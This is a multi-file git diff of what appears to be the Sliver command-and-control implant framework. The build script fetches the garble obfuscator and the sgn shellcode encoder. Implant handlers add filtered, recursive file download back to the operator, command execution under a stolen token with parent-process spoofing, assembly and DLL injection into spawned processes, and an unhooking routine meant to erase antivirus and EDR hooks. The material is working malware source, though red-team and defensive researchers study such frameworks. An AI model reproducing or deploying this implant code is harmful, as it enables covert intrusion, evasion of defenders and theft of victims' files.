tzinfo-data (1.2021.5)
tzinfo (>= 1.0.0)
+28 -2
View File
@@ -20,12 +20,12 @@ set -e
# Creates the static go asset archives
GO_VER="1.18.3"
GO_VER="1.18.5"
GARBLE_VER="1.18.0"
SGN_VER="0.0.3"
GO_ARCH_1="amd64"
GO_ARCH_2="arm64"
GO_ARCH_3="386"
BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt SECURITY.md CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
if ! [ -x "$(command -v curl)" ]; then
@@ -165,6 +165,32 @@ curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2"
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
echo "-----------------------------------------------------------------"
echo " Shikata ga nai (ノ ゜Д゜)ノ ︵ 仕方がない"
echo "-----------------------------------------------------------------"
# Linux (amd64)
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_1.zip"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_1.zip
# Linux (arm64)
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_2.zip"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_2.zip
# Windows (amd64)
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-$GO_ARCH_1.zip"
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-$GO_ARCH_1.zip
# MacOS (amd64)
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_1.zip"
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_1.zip
# MacOS (arm64)
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip"
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip
# end
echo -e "clean up: $WORK_DIR"
rm -rf $WORK_DIR
+1
View File
@@ -149,6 +149,7 @@ else
fi
# server / generate
export GOPROXY=off
if go test -tags=server,$TAGS ./server/generate -timeout 6h ; then
:
else
+1 -1
View File
@@ -2,7 +2,7 @@ module github.com/bishopfox/sliver
go 1.17
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.4
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6
require (
github.com/AlecAivazis/survey/v2 v2.2.2
+2 -2
View File
@@ -648,8 +648,8 @@ github.com/modern-go/reflect2 v0.0.0-20180320133207-05fbef0ca5da/go.mod h1:bx2lN
github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
github.com/mohae/deepcopy v0.0.0-20170308212314-bb9b5e7adda9/go.mod h1:TaXosZuwdSHYgviHp1DAtfrULt5eUgsSMsZf+YrPgl8=
github.com/moloch--/grumble v1.1.4 h1:/utJ405bbS2/Kx73XE03zqP1a3ZE9p3vqD3ePvsrG8o=
github.com/moloch--/grumble v1.1.4/go.mod h1:r7j3ShNy5EmOsegRD2DzTutIaGiLiA3M5yBTXXeLwcs=
github.com/moloch--/grumble v1.1.6 h1:FjPkuGOIwGL8nGkEH0EegnQgsl6Rn0R0fhBW/kcA0s8=
github.com/moloch--/grumble v1.1.6/go.mod h1:r7j3ShNy5EmOsegRD2DzTutIaGiLiA3M5yBTXXeLwcs=
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 h1:m3yCfV8Vqp4MF1B+gPPjbjINdufl0UXqyYplE0aGhx8=
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945/go.mod h1:1grVt4HaTofvhFUZYtofeRbGXfczNwCie9MYoM4lP/o=
github.com/mrunalp/fileutils v0.5.0/go.mod h1:M1WthSahJixYnrXQl/DFQuteStB1weuxD2QJNHXfbSQ=
+7 -1
View File
@@ -1,5 +1,5 @@
Implant
========
=======
This directory contains the code for Sliver's implant, implant source code is dynamically
rendered at runtime via the `generate` command. The code generation inserts the per-binary
@@ -11,3 +11,9 @@ that will be supported on different platforms.
Platform agnostic code is implemented in `_generic.go` files, and can be compiled for any
valid Go compiler target but only contains very generic commands/features.
Development
===========
Before committing any changes to any implant files, run `go generate` in this directory. This
will ensure the vendor directory is kept up to date so offline implant builds will function
correctly.
+3
View File
@@ -0,0 +1,3 @@
package implant
//go:generate ./scripts/update-vendor.sh
+35 -18
View File
@@ -3,22 +3,39 @@ module github.com/bishopfox/sliver
go 1.17
require (
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
github.com/Microsoft/go-winio v0.5.0 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/gofrs/uuid v4.0.0+incompatible
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/pquerna/otp v1.3.0
github.com/stretchr/testify v1.7.0
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
golang.zx2c4.com/wireguard/windows v0.5.1
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
google.golang.org/protobuf v1.23.0
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/gofrs/uuid v4.0.0+incompatible
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/miekg/dns v1.1.50
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/pquerna/otp v1.3.0
github.com/stretchr/testify v1.7.0
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
google.golang.org/protobuf v1.26.0
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
)
require (
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 // indirect
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
github.com/Microsoft/go-winio v0.5.0 // indirect
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/google/btree v1.0.1 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
golang.org/x/mod v0.4.2 // indirect
golang.org/x/time v0.0.0-20191024005414-555d28b269f0 // indirect
golang.org/x/tools v0.1.7 // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
)
+958 -19
View File
File diff suppressed because it is too large. Load diff
+4
View File
@@ -32,4 +32,8 @@ var (
// GoSum - Templated go.sum module file for implant builds
//go:embed go-sum
GoSum string
// Vendor - Embedded FS access to vendored sliver implant dependencies
//go:embed vendor/**
Vendor embed.FS
)
+95
View File
@@ -0,0 +1,95 @@
package main
import (
"bytes"
"fmt"
"go/parser"
"go/token"
"io/fs"
"os"
"path/filepath"
"strings"
)
// These are the directories imports will be taken from. If the implant
// needs files outside of these dirs in the future, add the dirs to this
// slice.
var srcDirs = []string{
"../sliver",
"../../protobuf/commonpb",
"../../protobuf/dnspb",
"../../protobuf/sliverpb",
}
func fatalf(format string, a ...interface{}) {
panic(fmt.Sprintf(format, a...))
}
func getImports(imports map[string]struct{}, dir string) error {
fset := token.NewFileSet()
return filepath.WalkDir(dir, func(path string, d fs.DirEntry, err error) error {
if err != nil {
return err
}
if d.IsDir() {
return nil
}
if !strings.HasSuffix(path, ".go") {
return nil
}
file, err := parser.ParseFile(fset, path, nil, parser.ImportsOnly)
if err != nil {
return err
}
for _, imp := range file.Imports {
impPath := strings.ToLower(imp.Path.Value)
// skip local packages, those shouldn't be vendored
if strings.HasPrefix(impPath, `"github.com/bishopfox/sliver`) {
continue
}
imports[imp.Path.Value] = struct{}{}
}
return nil
})
}
func main() {
if len(os.Args) < 2 {
fatalf("expected temporary directory argument")
}
dir := os.Args[1]
imports := make(map[string]struct{})
// Parse Go files and build a unique list of all their 3rd party
// imports so we can build a vendor dir from them. Stdlib packages
// will be included as well but 'go mod vendor' will ignore them.
for _, srcDir := range srcDirs {
err := getImports(imports, srcDir)
if err != nil {
fatalf("error walking directory: %v", err)
}
}
// Create a Go source file containing only import statements of all
// the packages an implant might need, no matter what OS, transport,
// etc is configured.
var buf bytes.Buffer
buf.WriteString("package sliver\n\nimport (\n")
for imp := range imports {
buf.WriteString("\t _ ")
buf.WriteString(imp)
buf.WriteByte('\n')
}
buf.WriteString(")\n")
err := os.WriteFile(filepath.Join(dir, "imports.go"), buf.Bytes(), 0660)
if err != nil {
fatalf("error creating file: %v", err)
}
}
+27
View File
@@ -0,0 +1,27 @@
#!/bin/sh
set -e
# we are expecting from run from sliver/implant via 'go generate'
cd scripts
# copy Go module related files
pwd="$(pwd)"
tempDir="$(mktemp -d -p $pwd)"
cp ../go-mod "${tempDir}/go.mod"
cp ../go-sum "${tempDir}/go.sum"
mv ../vendor "${tempDir}/vendor"
# build Go file with all imported packages
go run update-vendor.go "$tempDir"
cd "$tempDir"
# update vendor dir
go mod tidy -compat=1.17
go mod vendor
# move updated files back
mv "${tempDir}/vendor" ../../vendor
mv "${tempDir}/go.mod" ../../go-mod
mv "${tempDir}/go.sum" ../../go-sum
cd ..
rm -rf "$tempDir"
-82
View File
@@ -19,7 +19,6 @@ package evasion
*/
import (
"github.com/bishopfox/sliver/implant/sliver/syscalls"
"golang.org/x/sys/windows"
//{{if .Config.Debug}}
@@ -27,90 +26,9 @@ import (
//{{end}}
"debug/pe"
"io/ioutil"
"os/exec"
"unsafe"
)
func SpoofParent(ppid uint32, prog string, args string) (*windows.ProcessInformation, error) {
parentHandle, err := windows.OpenProcess(windows.PROCESS_CREATE_PROCESS, false, ppid)
if err != nil {
//{{if .Config.Debug}}
log.Printf("OpenProcess failed: %v\n", err)
//{{end}}
return nil, err
}
var procThreadAttributeSize uintptr
if err = syscalls.InitializeProcThreadAttributeList(nil, 1, 0, &procThreadAttributeSize); err != nil && err != windows.E_NOT_SUFFICIENT_BUFFER {
//{{if .Config.Debug}}
log.Printf("InitializeProcThreadAttributeList - first call failed: %v\n", err)
//{{end}}
return nil, err
}
procHeap, err := syscalls.GetProcessHeap()
if err != nil {
//{{if .Config.Debug}}
log.Printf("GetProcessHeap failed: %v\n", err)
//{{end}}
return nil, err
}
attributeList, err := syscalls.HeapAlloc(procHeap, 0, procThreadAttributeSize)
if err != nil {
//{{if .Config.Debug}}
log.Printf("HeapAlloc failed: %v\n", err)
//{{end}}
return nil, err
}
defer syscalls.HeapFree(procHeap, 0, attributeList)
var startupInfo syscalls.StartupInfoEx
startupInfo.AttributeList = (*syscalls.PROC_THREAD_ATTRIBUTE_LIST)(unsafe.Pointer(attributeList))
if err = syscalls.InitializeProcThreadAttributeList(startupInfo.AttributeList, 1, 0, &procThreadAttributeSize); err != nil {
//{{if .Config.Debug}}
log.Printf("InitializeProcThreadAttributeList - second call failed: %v\n", err)
//{{end}}
return nil, err
}
defer syscalls.DeleteProcThreadAttributeList(startupInfo.AttributeList)
uintParentHandle := uintptr(parentHandle)
if err = syscalls.UpdateProcThreadAttribute(startupInfo.AttributeList, 0, syscalls.PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &uintParentHandle, unsafe.Sizeof(parentHandle), 0, nil); err != nil {
//{{if .Config.Debug}}
log.Printf("UpdateProcThreadAttribute failed: %v\n", err)
//{{end}}
return nil, err
}
// get program path as a UTF string
programPath, err := exec.LookPath(prog)
if err != nil {
//{{if .Config.Debug}}
log.Printf("LookPath failed: %v\n", err)
//{{end}}
return nil, err
}
utfProgramPath, err := windows.UTF16PtrFromString(programPath)
if err != nil {
//{{if .Config.Debug}}
log.Printf("UTF16PtrFromString failed: %v\n", err)
//{{end}}
return nil, err
}
// start a process of the specified program name, spoofing the parent
var procInfo windows.ProcessInformation
startupInfo.Cb = uint32(unsafe.Sizeof(startupInfo))
startupInfo.Flags |= windows.STARTF_USESHOWWINDOW
startupInfo.ShowWindow = windows.SW_HIDE
// creationFlags := windows.CREATE_SUSPENDED | windows.CREATE_NO_WINDOW | windows.EXTENDED_STARTUPINFO_PRESENT
creationFlags := windows.CREATE_NO_WINDOW | windows.EXTENDED_STARTUPINFO_PRESENT
if err = syscalls.CreateProcess(utfProgramPath, nil, nil, nil, true, uint32(creationFlags), nil, nil, &startupInfo, &procInfo); err != nil {
//{{if .Config.Debug}}
log.Printf("CreateProcess failed: %v\n", err)
//{{end}}
return nil, err
}
return &procInfo, nil
}
// RefreshPE reloads a DLL from disk into the current process
// in an attempt to erase AV or EDR hooks placed at runtime.
func RefreshPE(name string) error {
+18
View File
@@ -1,5 +1,23 @@
package forwarder
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// {{if .Config.WGc2Enabled}}
var (
tcpForwarders map[int]*WGTCPForwarder
+18
View File
@@ -1,5 +1,23 @@
package forwarder
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// {{if .Config.WGc2Enabled}}
import (
"fmt"
+18
View File
@@ -1,5 +1,23 @@
package forwarder
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// {{if .Config.WGc2Enabled}}
import (
"fmt"
+278 -65
View File
@@ -82,6 +82,58 @@ func pingHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func determineDirPathFilter(targetPath string) (string, string) {
// The filter
filter := ""
// The path the filter applies to
path := ""
/*
Check to see if the remote path is a filter or contains a filter.
If the path passes the test to be a filter, then it is a filter
because paths are not valid filters.
*/
if targetPath != "." {
// Check if the path contains a filter
// Test on a standardized version of the path (change any \ to /)
testPath := strings.Replace(targetPath, "\\", "/", -1)
/*
Cannot use the path or filepath libraries because the OS
of the client does not necessarily match the OS of the
implant
*/
lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
if lastSeparatorOccurrence == -1 {
// Then this is only a filter
filter = targetPath
path = "."
} else {
// Then we need to test for a filter on the end of the string
// The indicies should be the same because we did not change the length of the string
path = targetPath[:lastSeparatorOccurrence+1]
filter = targetPath[lastSeparatorOccurrence+1:]
}
} else {
path = targetPath
// filter remains blank
}
return path, filter
}
func pathIsDirectory(path string) bool {
fileInfo, err := os.Stat(path)
if err != nil {
return false
} else {
return fileInfo.IsDir()
}
}
func dirListHandler(data []byte, resp RPCResponse) {
dirListReq := &sliverpb.LsReq{}
err := proto.Unmarshal(data, dirListReq)
@@ -91,7 +143,19 @@ func dirListHandler(data []byte, resp RPCResponse) {
// {{end}}
return
}
dir, files, err := getDirList(dirListReq.Path)
// Handle the case where a directory is provided without a trailing separator
var targetPath string
if pathIsDirectory(dirListReq.Path) {
targetPath = dirListReq.Path + "/"
} else {
targetPath = dirListReq.Path
}
path, filter := determineDirPathFilter(targetPath)
dir, files, err := getDirList(path)
// Convert directory listing to protobuf
timezone, offset := time.Now().Zone()
@@ -102,19 +166,47 @@ func dirListHandler(data []byte, resp RPCResponse) {
dirList.Exists = false
}
dirList.Files = []*sliverpb.FileInfo{}
var match bool = false
var linkPath string = ""
for _, fileInfo := range files {
dirList.Files = append(dirList.Files, &sliverpb.FileInfo{
Name: fileInfo.Name(),
IsDir: fileInfo.IsDir(),
Size: fileInfo.Size(),
/* Send the time back to the client / server as the number of seconds
since epoch. This will decouple formatting the time to display from the
time itself. We can change the format of the time displayed in the client
and not have to worry about having to update implants.
*/
ModTime: fileInfo.ModTime().Unix(),
Mode: fileInfo.Mode().String(),
})
if filter == "" {
match = true
} else {
match, err = filepath.Match(filter, fileInfo.Name())
if err != nil {
// Then this is a bad filter, and it will be a bad filter
// on every iteration of the loop, so we might as well break now
break
}
}
if match {
// Check if this is a symlink, and if so, add the path the link points to
if fileInfo.Mode()&os.ModeSymlink == os.ModeSymlink {
linkPath, err = filepath.EvalSymlinks(path + fileInfo.Name())
if err != nil {
linkPath = ""
}
} else {
linkPath = ""
}
dirList.Files = append(dirList.Files, &sliverpb.FileInfo{
Name: fileInfo.Name(),
IsDir: fileInfo.IsDir(),
Size: fileInfo.Size(),
/* Send the time back to the client / server as the number of seconds
since epoch. This will decouple formatting the time to display from the
time itself. We can change the format of the time displayed in the client
and not have to worry about having to update implants.
*/
ModTime: fileInfo.ModTime().Unix(),
Mode: fileInfo.Mode().String(),
Link: linkPath,
})
}
}
// Send back the response
@@ -274,6 +366,29 @@ func pwdHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func prepareDownload(path string, filter string, recurse bool) ([]byte, bool, int, int, error) {
/*
Combine the path and filter to see if the user wants
to download a single file
*/
fileInfo, err := os.Stat(path + filter)
if err == nil && !fileInfo.IsDir() {
// Then this is a single file
rawData, err := os.ReadFile(path + filter)
if err != nil {
// Then we could not read the file
return nil, false, 0, 1, err
} else {
return rawData, false, 1, 0, nil
}
}
// If we are here, then the user wants multiple files (a directory or part of a directory)
var downloadData bytes.Buffer
readFiles, unreadableFiles, err := compressDir(path, filter, recurse, &downloadData)
return downloadData.Bytes(), true, readFiles, unreadableFiles, err
}
// Send a file back to the hive
func downloadHandler(data []byte, resp RPCResponse) {
var rawData []byte
@@ -284,6 +399,8 @@ func downloadHandler(data []byte, resp RPCResponse) {
*/
var isDir bool
var download *sliverpb.Download
downloadReq := &sliverpb.DownloadReq{}
err := proto.Unmarshal(data, downloadReq)
if err != nil {
@@ -294,48 +411,42 @@ func downloadHandler(data []byte, resp RPCResponse) {
return
}
target, _ := filepath.Abs(downloadReq.Path)
fi, err := os.Stat(target)
if err != nil {
//{{if .Config.Debug}}
log.Printf("stat failed on %s: %v", target, err)
//{{end}}
download := &sliverpb.Download{Path: target, Exists: false}
download.Response = &commonpb.Response{
Err: err.Error(),
}
data, err = proto.Marshal(download)
resp(data, err)
return
}
if fi.IsDir() {
var dirData bytes.Buffer
err = compressDir(target, &dirData)
// {{if .Config.Debug}}
log.Printf("error creating the archive: %v", err)
// {{end}}
rawData = dirData.Bytes()
isDir = true
} else {
rawData, err = ioutil.ReadFile(target)
isDir = false
if pathIsDirectory(target) {
// Even if the implant is running on Windows, Go can deal with "/" as a path separator
target += "/"
}
var download *sliverpb.Download
if err == nil {
path, filter := determineDirPathFilter(target)
rawData, isDir, readFiles, unreadableFiles, err := prepareDownload(path, filter, downloadReq.Recurse)
if err != nil {
if isDir {
// {{if .Config.Debug}}
log.Printf("error creating the archive: %v", err)
// {{end}}
} else {
//{{if .Config.Debug}}
log.Printf("error while preparing download for %s: %v", target, err)
//{{end}}
}
download = &sliverpb.Download{Path: target, Exists: false, ReadFiles: int32(readFiles), UnreadableFiles: int32(unreadableFiles)}
download.Response = &commonpb.Response{
Err: fmt.Sprintf("%v", err),
}
} else {
gzipData := bytes.NewBuffer([]byte{})
gzipWrite(gzipData, rawData)
download = &sliverpb.Download{
Path: target,
Data: gzipData.Bytes(),
Encoder: "gzip",
Exists: true,
IsDir: isDir,
Response: &commonpb.Response{},
}
} else {
download = &sliverpb.Download{Path: target, Exists: false}
download.Response = &commonpb.Response{
Err: fmt.Sprintf("%v", err),
Path: target,
Data: gzipData.Bytes(),
Encoder: "gzip",
Exists: true,
IsDir: isDir,
ReadFiles: int32(readFiles),
UnreadableFiles: int32(unreadableFiles),
Response: &commonpb.Response{},
}
}
@@ -660,50 +771,152 @@ func standarizeArchiveFileName(path string) string {
}
}
func compressDir(path string, buf io.Writer) error {
func compressDir(path string, filter string, recurse bool, buf io.Writer) (int, int, error) {
zipWriter := gzip.NewWriter(buf)
tarWriter := tar.NewWriter(zipWriter)
readFiles := 0
unreadableFiles := 0
var matchingFiles []string
/*
There is an edge case where if you are trying to download a junction on Windows,
you will get access denied
To resolve this, we will resolve the junction or symlink before we do anything.
Even though resolving the symlink first is not necessary on *nix, it does not hurt
and will make it so that we do not have to detect if we are on Windows.
*/
pathInfo, err := os.Lstat(path)
if err != nil {
return readFiles, unreadableFiles, err
}
if pathInfo.Mode()&os.ModeSymlink == os.ModeSymlink {
path, err = filepath.EvalSymlinks(path)
if err != nil {
return readFiles, unreadableFiles, err
}
// The path we get back from EvalSymlinks does not have a trailing separator
// Forward slash is fine even on Windows.
path += "/"
}
/*
Build the list of files to include in the archive.
Walking the directory can take a long time and do a lot of unnecessary work
if we do not need to recurse through subdirectories.
If we are not recursing, then read the directory without worrying about
subdirectories.
*/
if !recurse {
testPath := strings.ReplaceAll(path, "\\", "/")
directory, err := os.Open(path)
if err != nil {
return readFiles, unreadableFiles, err
}
directoryFiles, err := directory.Readdirnames(0)
directory.Close()
if err != nil {
return readFiles, unreadableFiles, err
}
for _, fileName := range directoryFiles {
standardFileName := strings.ReplaceAll(testPath+fileName, "\\", "/")
if filter != "" {
match, err := filepath.Match(testPath+filter, standardFileName)
if err == nil && match {
matchingFiles = append(matchingFiles, standardFileName)
}
} else {
matchingFiles = append(matchingFiles, standardFileName)
}
}
} else {
filepath.WalkDir(path, func(file string, d os.DirEntry, err error) error {
filePath := strings.ReplaceAll(file, "\\", "/")
if filter != "" {
// Normalize paths
testPath := strings.ReplaceAll(filepath.Dir(file), "\\", "/") + "/"
match, matchErr := filepath.Match(testPath+filter, filePath)
if !match || matchErr != nil {
// If there is an error, it is because the filter is bad, so it is not a match
return nil
}
matchingFiles = append(matchingFiles, file)
} else {
matchingFiles = append(matchingFiles, file)
}
return nil
})
}
for _, file := range matchingFiles {
fi, err := os.Stat(file)
if err != nil {
// Cannot get info on the file, so skip it
unreadableFiles += 1
continue
}
filepath.Walk(path, func(file string, fi os.FileInfo, err error) error {
fileName := standarizeArchiveFileName(file)
// If the file is a SymLink replace fileInfo and path with the symlink destination.
if fi.Mode()&os.ModeSymlink == os.ModeSymlink {
file, err = filepath.EvalSymlinks(file)
if err != nil {
return err
unreadableFiles += 1
continue
}
fi, err = os.Lstat(file)
if err != nil {
return err
unreadableFiles += 1
continue
}
}
header, err := tar.FileInfoHeader(fi, file)
if err != nil {
return err
unreadableFiles += 1
continue
}
// Keep the symlink file path for the header name.
header.Name = filepath.ToSlash(fileName)
if err := tarWriter.WriteHeader(header); err != nil {
return err
}
// Check that we can open the file before we try to write it to the archive
if !fi.IsDir() {
data, err := os.Open(file)
if err != nil {
return err
// Skip this file and do not write it to the archive.
unreadableFiles += 1
continue
}
if err := tarWriter.WriteHeader(header); err != nil {
unreadableFiles += 1
data.Close()
continue
}
if _, err := io.Copy(tarWriter, data); err != nil {
return err
unreadableFiles += 1
data.Close()
continue
}
data.Close()
readFiles += 1
} else {
if err := tarWriter.WriteHeader(header); err != nil {
unreadableFiles += 1
continue
}
}
return nil
})
}
if err := tarWriter.Close(); err != nil {
return err
return readFiles, unreadableFiles, err
}
if err := zipWriter.Close(); err != nil {
return err
return readFiles, unreadableFiles, err
}
return nil
return readFiles, unreadableFiles, nil
}
+17 -7
View File
@@ -36,6 +36,7 @@ import (
"github.com/bishopfox/sliver/implant/sliver/priv"
"github.com/bishopfox/sliver/implant/sliver/registry"
"github.com/bishopfox/sliver/implant/sliver/service"
"github.com/bishopfox/sliver/implant/sliver/spoof"
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -63,7 +64,7 @@ var (
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgExecuteTokenReq: executeTokenHandler,
sliverpb.MsgExecuteWindowsReq: executeWindowsHandler,
sliverpb.MsgGetPrivsReq: getPrivsHandler,
sliverpb.MsgCurrentTokenOwnerReq: currentTokenOwnerHandler,
@@ -225,7 +226,7 @@ func executeAssemblyHandler(data []byte, resp RPCResponse) {
// {{end}}
return
}
output, err := taskrunner.ExecuteAssembly(execReq.Data, execReq.Process)
output, err := taskrunner.ExecuteAssembly(execReq.Data, execReq.Process, execReq.ProcessArgs, execReq.PPid)
execAsm := &sliverpb.ExecuteAssembly{Output: []byte(output)}
if err != nil {
execAsm.Response = &commonpb.Response{
@@ -237,7 +238,7 @@ func executeAssemblyHandler(data []byte, resp RPCResponse) {
}
func executeTokenHandler(data []byte, resp RPCResponse) {
func executeWindowsHandler(data []byte, resp RPCResponse) {
var (
err error
stdErr io.Writer
@@ -245,7 +246,7 @@ func executeTokenHandler(data []byte, resp RPCResponse) {
errWriter *bufio.Writer
outWriter *bufio.Writer
)
execReq := &sliverpb.ExecuteReq{}
execReq := &sliverpb.ExecuteWindowsReq{}
err = proto.Unmarshal(data, execReq)
if err != nil {
// {{if .Config.Debug}}
@@ -258,8 +259,17 @@ func executeTokenHandler(data []byte, resp RPCResponse) {
cmd := exec.Command(execReq.Path, execReq.Args...)
// Execute with current token
cmd.SysProcAttr = &windows.SysProcAttr{
Token: syscall.Token(priv.CurrentToken),
cmd.SysProcAttr = &syscall.SysProcAttr{}
if execReq.UseToken {
cmd.SysProcAttr.Token = syscall.Token(priv.CurrentToken)
}
if execReq.PPid != 0 {
err := spoof.SpoofParent(execReq.PPid, cmd)
if err != nil {
// {{if .Config.Debug}}
log.Printf("could not spoof parent PID: %v\n", err)
// {{end}}
}
}
if execReq.Output {
@@ -374,7 +384,7 @@ func spawnDllHandler(data []byte, resp RPCResponse) {
//{{if .Config.Debug}}
log.Printf("ProcName: %s\tOffset:%x\tArgs:%s\n", spawnReq.GetProcessName(), spawnReq.GetOffset(), spawnReq.GetArgs())
//{{end}}
result, err := taskrunner.SpawnDll(spawnReq.GetProcessName(), spawnReq.GetData(), spawnReq.GetOffset(), spawnReq.GetArgs(), spawnReq.Kill)
result, err := taskrunner.SpawnDll(spawnReq.GetProcessName(), spawnReq.GetProcessArgs(), spawnReq.GetPPid(), spawnReq.GetData(), spawnReq.GetOffset(), spawnReq.GetArgs(), spawnReq.Kill)
spawnResp := &sliverpb.SpawnDll{Result: result}
if err != nil {
spawnResp.Response = &commonpb.Response{
+1 -1
View File
@@ -70,7 +70,7 @@ func pivotStartListenerHandler(envelope *pb.Envelope, connection *transports.Con
}
if createListener, ok := pivots.SupportedPivotListeners[req.Type]; ok {
listener, err := createListener(req.BindAddress, connection.Send)
